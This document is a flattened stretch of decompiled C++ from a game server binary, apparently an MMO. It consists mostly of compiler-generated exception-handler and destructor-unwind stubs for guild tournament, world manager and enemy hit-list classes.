_ehhandler__wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590970) -------------------------------------------------------- void __usercall _L164145(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00590978) -------------------------------------------------------- void __usercall _L164146(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00590980) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_SetGuildRegNum_ShineMob_ShineObjectClass__UAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590990) -------------------------------------------------------- void __usercall _L164350(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590998) -------------------------------------------------------- void __usercall _L164351(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (005909A3) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_CHAR_ZONE_LINK_FROM_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005909B0) -------------------------------------------------------- void __usercall _L165166(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1616)); } //----- (005909BB) -------------------------------------------------------- void __usercall _L165167(int a1) { FieldMap::_FieldMap(a1 - 1600); } //----- (005909C6) -------------------------------------------------------- void __usercall _L165213(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 1640)); } //----- (005909D1) -------------------------------------------------------- void __usercall _L165168(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1304)); } //----- (005909DC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_GuildTournamantStart_WorldManagerSession__QAEXPAUPROTO_NC_GUILD_TOURNAMENT_START_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005909F0) -------------------------------------------------------- void __usercall _L165518(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (005909F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildStorageDeactivate_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590A10) -------------------------------------------------------- void __usercall _L165595_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (00590A1B) -------------------------------------------------------- void __usercall _L165596_0(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00590A30) -------------------------------------------------------- void __usercall _L167390(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00590A38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____ErrorSendPlayer_UPROTO_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_ACK____YA_NPAVShineObject_ShineObjectClass__HPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590A50) -------------------------------------------------------- void __usercall _L167817(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00590A58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_Summon2GuildTournament_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_GUILD_TOURNAMENT_START_CMD__PBUGuildTournamentMapStr_FieldOption__PBUMapInfo___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590A70) -------------------------------------------------------- void __usercall _L167857(int a1) { operator delete(*(void **)(a1 - 124)); } //----- (00590A7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Guild_Tournamnet_Observer_Enter_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590A90) -------------------------------------------------------- void __usercall _L193603(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00590A98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__DiceGameStart_GuildTournamentSystem__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590AB0) -------------------------------------------------------- void __usercall _L179200(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00590ABB) -------------------------------------------------------- void __usercall _L179201(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (00590AC6) -------------------------------------------------------- void __usercall _L179202(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (00590AD1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0FlagInfo_GuildTournamentSystem__QAE_ABU01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590AE0) -------------------------------------------------------- void __usercall _L175299(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00590B00) -------------------------------------------------------- void __usercall _L175596(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00590B20) -------------------------------------------------------- void __usercall _L176035(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 16)); } //----- (00590B31) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Construct_UAdvanMobItemRegenInfo_GuildTournamentSystem__U12__std__YAXPAUAdvanMobItemRegenInfo_GuildTournamentSystem__ABU12__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590B40) -------------------------------------------------------- void __usercall _L189854(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00590B48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem__U__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem___std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_Gui(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590B71) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUGate_GuildTournamentSystem__PAU12_V__allocator_UGate_GuildTournamentSystem___std___std__YAPAUGate_GuildTournamentSystem__PAU12_00AAV__allocator_UGate_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590B80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUAdvanMobItemRegenInfo_GuildTournamentSystem__PAU12_V__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___std___std__YAPAUAdvanMobItemRegenInfo_GuildTournamentSystem__PAU12_00AAV__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590B90) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UGuildMemberInfo_GuildTournamentSystem__V__allocator_UGuildMemberInfo_GuildTournamentSystem___std___std__IAEXViterator_12_IABUGuildMemberInfo_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590BA0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VTickTimer__V__allocator_VTickTimer___std___std__IAEXViterator_12_IABVTickTimer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590BB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UTOURNAMENT_PLAYER_SCORE__V__allocator_UTOURNAMENT_PLAYER_SCORE___std___std__IAEXViterator_12_IABUTOURNAMENT_PLAYER_SCORE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590BD1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem__U__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem___std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSyst(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590BF1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUGate_GuildTournamentSystem__IU12_V__allocator_UGate_GuildTournamentSystem___std___std__YAXPAUGate_GuildTournamentSystem__IABU12_AAV__allocator_UGate_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590C00) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUAdvanMobItemRegenInfo_GuildTournamentSystem__IU12_V__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___std___std__YAXPAUAdvanMobItemRegenInfo_GuildTournamentSystem__IABU12_AAV__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590C21) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUFlagInfo_GuildTournamentSystem__PAU12_V__allocator_UFlagInfo_GuildTournamentSystem___std___std__YAPAUFlagInfo_GuildTournamentSystem__PAU12_00AAV__allocator_UFlagInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590C30) -------------------------------------------------------- void __usercall _L185293(int a1) { GuildTournamentSystem::PortalInfo::_PortalInfo((GuildTournamentSystem::PortalInfo *)(a1 - 104)); } //----- (00590C38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__PortalResiter_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__KPBD1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590C50) -------------------------------------------------------- void __usercall _L187203(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 28)); } //----- (00590C58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__CheckManagerUser_GuildGroup_GuildTournamentSystem__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590C81) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUFlagInfo_GuildTournamentSystem__IU12_V__allocator_UFlagInfo_GuildTournamentSystem___std___std__YAXPAUFlagInfo_GuildTournamentSystem__IABU12_AAV__allocator_UFlagInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590C90) -------------------------------------------------------- void __usercall _L202718(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00590C98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Clear_GuildGroup_GuildTournamentSystem__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590CB0) -------------------------------------------------------- void __usercall _L191008(int a1) { ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild((ScriptInterrupt::InterruptEventWinGuild *)(a1 - 284)); } //----- (00590CBB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__SendWinEventToScript_GuildGroup_GuildTournamentSystem__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590CD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UGate_GuildTournamentSystem__V__allocator_UGate_GuildTournamentSystem___std___std__IAEXViterator_12_IABUGate_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590CF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UAdvanMobItemRegenInfo_GuildTournamentSystem__V__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___std___std__IAEXViterator_12_IABUAdvanMobItemRegenInfo_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590D10) -------------------------------------------------------- void __usercall _L197149(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (00590D18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Update_GuildTournamentSystem__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590D3B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UFlagInfo_GuildTournamentSystem__V__allocator_UFlagInfo_GuildTournamentSystem___std___std__IAEXViterator_12_IABUFlagInfo_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590D50) -------------------------------------------------------- void __usercall _L197783(int a1) { AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel((AxialListFlagCaptureCancel *)(a1 - 116)); } //----- (00590D58) -------------------------------------------------------- void __usercall _L197784(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 108)); } //----- (00590D60) -------------------------------------------------------- void __usercall _L197785(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (00590D68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__CaptureFlag_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590D80) -------------------------------------------------------- void __usercall _L198583(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 96)); } //----- (00590DA8) -------------------------------------------------------- void __usercall _L198988(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 136)); } //----- (00590DC0) -------------------------------------------------------- void __usercall _L200312(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 68)); } //----- (00590DC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___A__map_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem__U__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem___std___2__std__QAEAAUGuildMemberInfo_GuildTournamentSystem__ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__1__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590DE0) -------------------------------------------------------- void __usercall _L201190(int a1) { GuildTournamentSystem::Gate::_Gate((GuildTournamentSystem::Gate *)(a1 - 80)); } //----- (00590DE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__GateRegister_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__KGPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590E00) -------------------------------------------------------- void __usercall _L201546(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (00590E08) -------------------------------------------------------- void __usercall _L201547(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (00590E10) -------------------------------------------------------- void __usercall _L201548(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 112)); } //----- (00590E18) -------------------------------------------------------- void __usercall _L201549(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 128)); } //----- (00590E20) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__DeadPlayer_GuildTournamentSystem__QAEXPAVShineObject_ShineObjectClass__0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590E30) -------------------------------------------------------- void __usercall _L203004(int a1) { GuildTournamentSystem::FlagInfo::_FlagInfo((GuildTournamentSystem::FlagInfo *)(a1 - 208)); } //----- (00590E3B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__FlagRegister_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__PBD1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590E50) -------------------------------------------------------- void __usercall _L203171(int a1) { std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>((std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00590E66) -------------------------------------------------------- void __usercall _L203173(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 112)); } //----- (00590E87) -------------------------------------------------------- void __usercall _L203176(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { RoutionInterface::_RoutionInterface(*(RoutionInterface **)(a1 - 16)); } //----- (00590EA8) -------------------------------------------------------- void __usercall _L203852(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00590EB3) -------------------------------------------------------- void __usercall _L203853(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00590EBE) -------------------------------------------------------- void __usercall _L203854(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (00590ECC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildTournamentSystem__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590EE0) -------------------------------------------------------- void __usercall _L204141(int a1) { RoutionInterface::_RoutionInterface(*(RoutionInterface **)(a1 - 16)); } //----- (00590EE8) -------------------------------------------------------- void __usercall _L204142(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00590EF3) -------------------------------------------------------- void __usercall _L204143(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00590EFE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1GuildTournamentSystem__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590F10) -------------------------------------------------------- void __usercall _L159785_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590F18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ScanEnemy4ExpDist__UAEEPAUEnemy_HitMeList__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590F30) -------------------------------------------------------- void __usercall _L159049_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00590F38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ScanEnemy4ExpDist__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590F50) -------------------------------------------------------- void __usercall _L159640(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00590F58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__el_FindLooter_EnemyList_HitMeList__QAEKPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590F70) -------------------------------------------------------- void __usercall _L159288(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00590F78) -------------------------------------------------------- unsigned int __cdecl _L159289() { unsigned int result; // eax@1 result = _S10_8 & 0xFFFFFFFE; _S10_8 &= 0xFFFFFFFEu; return result; } //----- (00590F86) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ExperienceDistribute__UAEEPAUEnemy_HitMeList__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590F90) -------------------------------------------------------- void __usercall _L159403(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00590F9B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__hml_Load_HitMeList__YAXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590FB0) -------------------------------------------------------- void __usercall _L159518(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00590FB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_UEnemy_HitMeList____QAEPAUEnemy_HitMeList__P823_AEHPAV1_GPAU23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590FD0) -------------------------------------------------------- void __usercall _L159561(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00590FD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__el_Store_EnemyList_HitMeList__QAEXPAVShineObject_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590FF0) -------------------------------------------------------- void __usercall _L159735(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00590FF8) -------------------------------------------------------- void __usercall _L159736(int a1) { ScanEnemy4ExpDist::_ScanEnemy4ExpDist((ScanEnemy4ExpDist *)(a1 - 56)); } //----- (00591000) -------------------------------------------------------- void __usercall _L159737(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00591008) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__el_ExpDistribute_EnemyList_HitMeList__QAEXPAVShineObject_ShineObjectClass__PBUMobDataBoxIndex_MobDataBox__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591020) -------------------------------------------------------- void __usercall _L159814(int a1) { List::_List(*(HitMeList::EnemyList **)(a1 - 24)); } //----- (00591028) -------------------------------------------------------- void __usercall _L159824(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00591030) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0EnemyList_HitMeList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591040) -------------------------------------------------------- void __usercall _L158771(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591048) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_HolyPromiseCenFrom_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- 